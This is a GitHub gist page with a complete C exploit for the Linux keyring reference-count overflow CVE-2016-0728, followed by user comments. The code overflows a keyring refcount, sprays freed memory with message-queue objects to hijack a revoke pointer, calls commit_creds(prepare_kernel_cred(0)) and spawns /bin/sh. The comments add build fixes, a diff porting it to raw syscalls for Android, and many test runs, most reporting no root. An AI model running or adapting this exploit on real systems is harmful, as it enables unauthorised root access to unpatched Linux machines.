Create a gist now

Instantly share code, notes, and snippets.

Embed
What would you like to do?
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
@ironiridis

This comment has been minimized.

Show comment
Hide comment
@ironiridis

ironiridis Jan 19, 2016

For those testing on Gentoo, you may need to do:

emerge -1n sys-apps/keyutils

For those testing on Gentoo, you may need to do:

emerge -1n sys-apps/keyutils
@dkhabarov

This comment has been minimized.

Show comment
Hide comment
@dkhabarov

dkhabarov Jan 19, 2016

For ubuntu/debian install libkeyutils-dev

For ubuntu/debian install libkeyutils-dev

@bactis

This comment has been minimized.

Show comment
Hide comment
@bactis

bactis Jan 19, 2016

Trying to compile for android, on OSX. Using the command ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk

getting this error
./Android.mk
[armeabi] Compile thumb : cve_2016_0728 <= cve_2016_0728.c
./cve_2016_0728.c:8:22: fatal error: keyutils.h: No such file or directory
#include <keyutils.h>
^
compilation terminated.
make: *** [obj/local/armeabi/objs/cve_2016_0728/cve_2016_0728.o] Error 1
thq-m-bacti01:exploitTest bactis$

Android.mk file contents are below
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_SRC_FILES :=
cve_2016_0728.c
LOCAL_C_INCLUDE := \

LOCAL_MODULE := cve_2016_0728
LOCAL_MODULE_TAGS := optional

include $(BUILD_STATIC_EXECUTABLE)

include $(BUILD_EXECUTABLE)

include $(call all-makefiles-under,$(LOCAL_PATH))

bactis commented Jan 19, 2016

Trying to compile for android, on OSX. Using the command ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk

getting this error
./Android.mk
[armeabi] Compile thumb : cve_2016_0728 <= cve_2016_0728.c
./cve_2016_0728.c:8:22: fatal error: keyutils.h: No such file or directory
#include <keyutils.h>
^
compilation terminated.
make: *** [obj/local/armeabi/objs/cve_2016_0728/cve_2016_0728.o] Error 1
thq-m-bacti01:exploitTest bactis$

Android.mk file contents are below
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_SRC_FILES :=
cve_2016_0728.c
LOCAL_C_INCLUDE := \

LOCAL_MODULE := cve_2016_0728
LOCAL_MODULE_TAGS := optional

include $(BUILD_STATIC_EXECUTABLE)

include $(BUILD_EXECUTABLE)

include $(call all-makefiles-under,$(LOCAL_PATH))

@ghost

This comment has been minimized.

Show comment
Hide comment
@ghost

ghost Jan 19, 2016

Kernel already has some protection against this (not allowing kernel symbols to be read from non-root users). Making the attack surfuce lower. Problem is that by default it's turned off. See the Arch Wiki for more information: https://wiki.archlinux.org/index.php/security#Restricting_access_to_kernel_pointers_in_the_proc_filesystem

ghost commented Jan 19, 2016

Kernel already has some protection against this (not allowing kernel symbols to be read from non-root users). Making the attack surfuce lower. Problem is that by default it's turned off. See the Arch Wiki for more information: https://wiki.archlinux.org/index.php/security#Restricting_access_to_kernel_pointers_in_the_proc_filesystem

@clandestine4

This comment has been minimized.

Show comment
Hide comment
@clandestine4

clandestine4 Jan 19, 2016

someone tested in redhat distros ?

someone tested in redhat distros ?

@zhuowei

This comment has been minimized.

Show comment
Hide comment
@zhuowei

zhuowei Jan 19, 2016

@bactis it looks like Android's Bionic libc doesn't have a wrapper for keyctl (https://github.com/android/platform_bionic/search?utf8=%E2%9C%93&q=keyctl), so you might have to use the syscall() call to invoke it directly. You can get the constant values by including <linux/keyctl.h>.

zhuowei commented Jan 19, 2016

@bactis it looks like Android's Bionic libc doesn't have a wrapper for keyctl (https://github.com/android/platform_bionic/search?utf8=%E2%9C%93&q=keyctl), so you might have to use the syscall() call to invoke it directly. You can get the constant values by including <linux/keyctl.h>.

@benpro

This comment has been minimized.

Show comment
Hide comment
@benpro

benpro Jan 19, 2016

for (i = 1; i < 0xfffffffd; i++) {

How many time this should take?

benpro commented Jan 19, 2016

for (i = 1; i < 0xfffffffd; i++) {

How many time this should take?

@caioluders

This comment has been minimized.

Show comment
Hide comment
@caioluders

caioluders Jan 19, 2016

@benpro "the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU"

@benpro "the full exploit which takes about 30 minutes to run on Intel Core i7-5500 CPU"

@1lastBr3ath

This comment has been minimized.

Show comment
Hide comment
@1lastBr3ath

1lastBr3ath Jan 19, 2016

Is it Okay if I compile it using one system, and run it in another?

Is it Okay if I compile it using one system, and run it in another?

@P4z

This comment has been minimized.

Show comment
Hide comment
@P4z

P4z Jan 19, 2016

correct me if I'm wrong

for (i = 1; i < 0xfffffffd; i++) { … sleep(5) … }

4294967292ms x 5 / 1000 / 60 / 60 = 5965 min

P4z commented Jan 19, 2016

correct me if I'm wrong

for (i = 1; i < 0xfffffffd; i++) { … sleep(5) … }

4294967292ms x 5 / 1000 / 60 / 60 = 5965 min

@Dasoren

This comment has been minimized.

Show comment
Hide comment
@Dasoren

Dasoren Jan 19, 2016

"For ubuntu/debian install libkeyutils-dev"

If i do not install this, will this attack still work? or is this just because the this program needs that lib, but an attacker could include it another way?

Dasoren commented Jan 19, 2016

"For ubuntu/debian install libkeyutils-dev"

If i do not install this, will this attack still work? or is this just because the this program needs that lib, but an attacker could include it another way?

@favoretti

This comment has been minimized.

Show comment
Hide comment
@favoretti

favoretti Jan 19, 2016

@P4z: sleep hits only if (i == (0xffffffff - l)) {, which is 1 of...

@P4z: sleep hits only if (i == (0xffffffff - l)) {, which is 1 of...

@lenisko

This comment has been minimized.

Show comment
Hide comment
@lenisko

lenisko Jan 19, 2016

@Dasoren It's used only to compile... not to run.

lenisko commented Jan 19, 2016

@Dasoren It's used only to compile... not to run.

@Dasoren

This comment has been minimized.

Show comment
Hide comment
@Dasoren

Dasoren Jan 19, 2016

thank you @lenisko would there be any issue with running this on my systems, aka would anything bad happen? Running Ubuntu 14.04

Dasoren commented Jan 19, 2016

thank you @lenisko would there be any issue with running this on my systems, aka would anything bad happen? Running Ubuntu 14.04

@Atothendrew

This comment has been minimized.

Show comment
Hide comment
@Atothendrew

Atothendrew Jan 19, 2016

I can't seem to get this to compile on CentOS 7 kernel version 3.10.0-327.3.1.el7.x86_64

/tmp/ccogSP7A.o: In functionmain':
bug.c:(.text+0x1a3): undefined reference to keyctl' bug.c:(.text+0x1d9): undefined reference tokeyctl'
bug.c:(.text+0x240): undefined reference to keyctl' bug.c:(.text+0x293): undefined reference tokeyctl'
bug.c:(.text+0x3db): undefined reference to keyctl' collect2: error: ld returned 1 exit status

This is with the latest keyutils, keyutils-libs and keyutils-libs-devel. Any ideas?

I can't seem to get this to compile on CentOS 7 kernel version 3.10.0-327.3.1.el7.x86_64

/tmp/ccogSP7A.o: In functionmain':
bug.c:(.text+0x1a3): undefined reference to keyctl' bug.c:(.text+0x1d9): undefined reference tokeyctl'
bug.c:(.text+0x240): undefined reference to keyctl' bug.c:(.text+0x293): undefined reference tokeyctl'
bug.c:(.text+0x3db): undefined reference to keyctl' collect2: error: ld returned 1 exit status

This is with the latest keyutils, keyutils-libs and keyutils-libs-devel. Any ideas?

@Grazfather

This comment has been minimized.

Show comment
Hide comment
@Grazfather

Grazfather Jan 19, 2016

@Atothendrew your libc doesn't have the syscall wrapper. Look into manually making the syscalls with syscall like @zhuowei mentioned.

@Atothendrew your libc doesn't have the syscall wrapper. Look into manually making the syscalls with syscall like @zhuowei mentioned.

@strazzere

This comment has been minimized.

Show comment
Hide comment
@strazzere

strazzere Jan 19, 2016

@bactis @zhuowei something like this could potentially work

80c80
<     if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(301, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(311, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161
< }

@bactis @zhuowei something like this could potentially work

80c80
<     if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
89c89
<     serial = syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);

---
>   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
94,95c94,95
< 
<   if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

---
>   
>   if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
107c107
<   if (syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
115c115
<       if(syscall(311, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {

---
>         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
133c133
<       if ((msqid = syscall(303, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

---
>             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
138c138
<         if (syscall(301, msqid, &msg, sizeof(msg.mtext), 0) == -1) {

---
>                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
153c153
<     if (syscall(311, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {

---
>     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
161c161
< }
@tuxayo

This comment has been minimized.

Show comment
Hide comment
@tuxayo

tuxayo Jan 19, 2016

On Antergos (an out of the box Arch Linux) the resulting shell doesn't have root privileges.

tuxayo commented Jan 19, 2016

On Antergos (an out of the box Arch Linux) the resulting shell doesn't have root privileges.

@P4z

This comment has been minimized.

Show comment
Hide comment
@P4z

P4z Jan 19, 2016

@favoretti obviously…

Following @emansom comment it seems like sysctl -w kernel/kptr_restrict=1 defends against this.
Also updates are available already for Ubuntu http://www.ubuntu.com/usn/usn-2870-2/

P4z commented Jan 19, 2016

@favoretti obviously…

Following @emansom comment it seems like sysctl -w kernel/kptr_restrict=1 defends against this.
Also updates are available already for Ubuntu http://www.ubuntu.com/usn/usn-2870-2/

@bweston92

This comment has been minimized.

Show comment
Hide comment
@bweston92

bweston92 Jan 19, 2016

@Ragora "Linux kernal 3.8 and higher"

@Ragora "Linux kernal 3.8 and higher"

@Ragora

This comment has been minimized.

Show comment
Hide comment
@Ragora

Ragora Jan 19, 2016

@bweston92 I misread something altogether then, awesome. In either case, at least I know this box definitely isn't afflicted.

Ragora commented Jan 19, 2016

@bweston92 I misread something altogether then, awesome. In either case, at least I know this box definitely isn't afflicted.

@Efreak

This comment has been minimized.

Show comment
Hide comment
@Efreak

Efreak Jan 19, 2016

@bactis @strazzere I'm trying to do the same thing. I'm using this source, which seems to be properly modified, but I'm getting errors about includes. I copied keyutils.h into the local directory to solve the first include issue, but it wants sys/msg.h as well. Is there a way to tell the NDK to give me access to these files? (I have very little experience with c and compiler instructions, and even less with android). Any quick things that I'm missing? I also tried compiling directly with the armeabi, but that gave other issues.

Efreak commented Jan 19, 2016

@bactis @strazzere I'm trying to do the same thing. I'm using this source, which seems to be properly modified, but I'm getting errors about includes. I copied keyutils.h into the local directory to solve the first include issue, but it wants sys/msg.h as well. Is there a way to tell the NDK to give me access to these files? (I have very little experience with c and compiler instructions, and even less with android). Any quick things that I'm missing? I also tried compiling directly with the armeabi, but that gave other issues.

@Tomekku

This comment has been minimized.

Show comment
Hide comment
@Tomekku

Tomekku Jan 19, 2016

@tuxayo same on Linux Mint

Tomekku commented Jan 19, 2016

@tuxayo same on Linux Mint

@bactis

This comment has been minimized.

Show comment
Hide comment
@bactis

bactis Jan 19, 2016

@zhuowei thank you!
@strazzere thank you, thank you !!!!!!!!!!

got it to compile

bactis commented Jan 19, 2016

@zhuowei thank you!
@strazzere thank you, thank you !!!!!!!!!!

got it to compile

@strazzere

This comment has been minimized.

Show comment
Hide comment
@strazzere

strazzere Jan 19, 2016

@Efreak

You can just copy them locally and include them with "sys/msg.h" style opposed to <sys/msg.h>. I just ripped out the structs and defines needed and put them into an accompanying file since that is all that was actually needed.

@Efreak

You can just copy them locally and include them with "sys/msg.h" style opposed to <sys/msg.h>. I just ripped out the structs and defines needed and put them into an accompanying file since that is all that was actually needed.

@bactis

This comment has been minimized.

Show comment
Hide comment
@bactis

bactis Jan 19, 2016

@Efreak I just made a /sys dir and put this in there
/*

  • Copyright (C) 2014 The Android Open Source Project
  • All rights reserved.
    *
  • Redistribution and use in source and binary forms, with or without
  • modification, are permitted provided that the following conditions
  • are met:
  • * Redistributions of source code must retain the above copyright
  • notice, this list of conditions and the following disclaimer.
  • * Redistributions in binary form must reproduce the above copyright
  • notice, this list of conditions and the following disclaimer in
  • the documentation and/or other materials provided with the
  • distribution.
  • THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  • "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  • LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
  • FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
  • COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  • INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
  • BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
  • OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
  • AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  • OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
  • OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  • SUCH DAMAGE.
    */

ifndef SYS_MSG_H

define SYS_MSG_H

include <linux/msg.h>

endif /* SYS_MSG_H */

bactis commented Jan 19, 2016

@Efreak I just made a /sys dir and put this in there
/*

  • Copyright (C) 2014 The Android Open Source Project
  • All rights reserved.
    *
  • Redistribution and use in source and binary forms, with or without
  • modification, are permitted provided that the following conditions
  • are met:
  • * Redistributions of source code must retain the above copyright
  • notice, this list of conditions and the following disclaimer.
  • * Redistributions in binary form must reproduce the above copyright
  • notice, this list of conditions and the following disclaimer in
  • the documentation and/or other materials provided with the
  • distribution.
  • THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  • "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  • LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
  • FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
  • COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  • INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
  • BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
  • OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
  • AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  • OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
  • OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  • SUCH DAMAGE.
    */

ifndef SYS_MSG_H

define SYS_MSG_H

include <linux/msg.h>

endif /* SYS_MSG_H */

@maffblaster

This comment has been minimized.

Show comment
Hide comment
@jccultima123

This comment has been minimized.

Show comment
Hide comment
@jccultima123

jccultima123 Jan 20, 2016

I'd be happy if Red Star OS would work this flawlessly 👯 👯

I'd be happy if Red Star OS would work this flawlessly 👯 👯

@Efreak

This comment has been minimized.

Show comment
Hide comment
@brick713

This comment has been minimized.

Show comment
Hide comment
@brick713

brick713 Jan 20, 2016

i use it but look like this

kali-cloud% ./test PP1

uid=544, euid=544

keyctl: Permission denied

@bactis @strazzere what i should do?

i use it but look like this

kali-cloud% ./test PP1

uid=544, euid=544

keyctl: Permission denied

@bactis @strazzere what i should do?

@HackIT

This comment has been minimized.

Show comment
Hide comment
@HackIT

HackIT Jan 20, 2016

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''

HackIT commented Jan 20, 2016

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''

@0xcrypto

This comment has been minimized.

Show comment
Hide comment
@0xcrypto

0xcrypto Jan 20, 2016

keyctl won't work on android?

keyctl won't work on android?

@whoozle

This comment has been minimized.

Show comment
Hide comment
@whoozle

whoozle Jan 20, 2016

does not work on gentoo linux-4.3.3

whoozle commented Jan 20, 2016

does not work on gentoo linux-4.3.3

@strazzere

This comment has been minimized.

Show comment
Hide comment
@strazzere

strazzere Jan 20, 2016

@brick713 what I posted was for a specific android device I was testing on - you'll need to ensure the syscall's are correct for whatever 'kali-cloud' is

@brick713 what I posted was for a specific android device I was testing on - you'll need to ensure the syscall's are correct for whatever 'kali-cloud' is

@dbegit

This comment has been minimized.

Show comment
Hide comment
@dbegit

dbegit Jan 20, 2016

Doesn't work on centos 6.6 i386.

[user@WKSEDI113 tmp]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$ id

dbegit commented Jan 20, 2016

Doesn't work on centos 6.6 i386.

[user@WKSEDI113 tmp]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$ id

@imdadvs

This comment has been minimized.

Show comment
Hide comment
@imdadvs

imdadvs Jan 20, 2016

The exploit code doesn't work even after changing the addresses of commit_creds_addr and prepare_kernel_cred

imdadvs commented Jan 20, 2016

The exploit code doesn't work even after changing the addresses of commit_creds_addr and prepare_kernel_cred

@Shailishefalisingh

This comment has been minimized.

Show comment
Hide comment
@Shailishefalisingh

Shailishefalisingh Jan 20, 2016

s@s:~/Desktop$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
s

Did not work out on ubuntu 12.04 .. kernal 3.13.0-74-generic
i-7

s@s:~/Desktop$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
s

Did not work out on ubuntu 12.04 .. kernal 3.13.0-74-generic
i-7

@chelaxe

This comment has been minimized.

Show comment
Hide comment
@chelaxe

chelaxe Jan 20, 2016

sudo apt-get install libkeyutils-dev
gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$

Did not work out on ubuntu 14.04 .. kernal 3.13.0-74-generic
i-5

chelaxe commented Jan 20, 2016

sudo apt-get install libkeyutils-dev
gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$

Did not work out on ubuntu 14.04 .. kernal 3.13.0-74-generic
i-5

@lathspell

This comment has been minimized.

Show comment
Hide comment
@lathspell

lathspell Jan 20, 2016

I, too, only get shells with my own UID. Is this because the exploit programm is the only one with a key named PP_KEY? Where could I find the key names of programs running as root?

I, too, only get shells with my own UID. Is this because the exploit programm is the only one with a key named PP_KEY? Where could I find the key names of programs running as root?

@kernux

This comment has been minimized.

Show comment
Hide comment
@kernux

kernux Jan 20, 2016

Can you tell me the system you used? I can't get root in my system.

kernux commented Jan 20, 2016

Can you tell me the system you used? I can't get root in my system.

@s0919202530

This comment has been minimized.

Show comment
Hide comment
@s0919202530

s0919202530 Jan 20, 2016

@strazzere
Dose KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL exist in <linux/keyctl.h>

cve_2016_0728.c: In function ‘main’:
cve_2016_0728.c:96:50: error: ‘KEY_POS_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:50: note: each undeclared identifier is reported only once for each function it appears in
cve_2016_0728.c:96:64: error: ‘KEY_USR_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:78: error: ‘KEY_GRP_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:92: error: ‘KEY_OTH_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

@strazzere
Dose KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL exist in <linux/keyctl.h>

cve_2016_0728.c: In function ‘main’:
cve_2016_0728.c:96:50: error: ‘KEY_POS_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:50: note: each undeclared identifier is reported only once for each function it appears in
cve_2016_0728.c:96:64: error: ‘KEY_USR_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:78: error: ‘KEY_GRP_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
^
cve_2016_0728.c:96:92: error: ‘KEY_OTH_ALL’ undeclared (first use in this function)
if (syscall(311, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {

@linuxdevel

This comment has been minimized.

Show comment
Hide comment
@linuxdevel

linuxdevel Jan 20, 2016

./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000

$ uname -a
Linux zvm-virtual-machine 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

Does not work out on Linux Mint 17

./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000

$ uname -a
Linux zvm-virtual-machine 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

Does not work out on Linux Mint 17

@mastier

This comment has been minimized.

Show comment
Hide comment
@mastier

mastier Jan 20, 2016

Someone could explain the PP_KEY parameter ? any references , please ?

mastier commented Jan 20, 2016

Someone could explain the PP_KEY parameter ? any references , please ?

@jmboris

This comment has been minimized.

Show comment
Hide comment
@jmboris

jmboris Jan 20, 2016

Archlinux , Does not work out on Arch :)

uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$

sh-4.3$ uname -r
4.1.15-1-lts

jmboris commented Jan 20, 2016

Archlinux , Does not work out on Arch :)

uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$

sh-4.3$ uname -r
4.1.15-1-lts

@arogarth

This comment has been minimized.

Show comment
Hide comment
@arogarth

arogarth Jan 20, 2016

Does not work on ubuntu/trusty64

uid=1000, euid=1000                                                                                                                    |
Increfing...                                                                                                                           |
        finished increfing                                                                                                             |
forking...
finished forking
caling revoke...
uid=1000, euid=1000

Does not work on ubuntu/trusty64

uid=1000, euid=1000                                                                                                                    |
Increfing...                                                                                                                           |
        finished increfing                                                                                                             |
forking...
finished forking
caling revoke...
uid=1000, euid=1000
@Shailishefalisingh

This comment has been minimized.

Show comment
